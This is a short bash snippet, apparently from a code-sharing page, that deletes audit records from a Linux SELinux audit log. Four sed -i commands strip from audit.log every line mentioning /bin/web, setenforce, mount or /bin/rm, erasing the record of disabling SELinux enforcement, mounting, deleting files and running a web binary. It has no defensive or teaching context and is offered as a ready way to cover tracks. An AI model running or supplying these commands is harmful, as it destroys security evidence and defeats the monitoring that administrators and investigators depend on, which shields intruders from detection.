Linux bash / Removing Commands from SELinux Audit Logs

Code

# Navigate to the SELinux audit log directory
cd /data/var/log/audit/

# Remove specific executed commands from the audit log
sed -i '/bin\/web/d' audit.log
sed -i '/setenforce/d' audit.log
sed -i '/mount/d' audit.log
sed -i '/bin\/rm/d' audit.log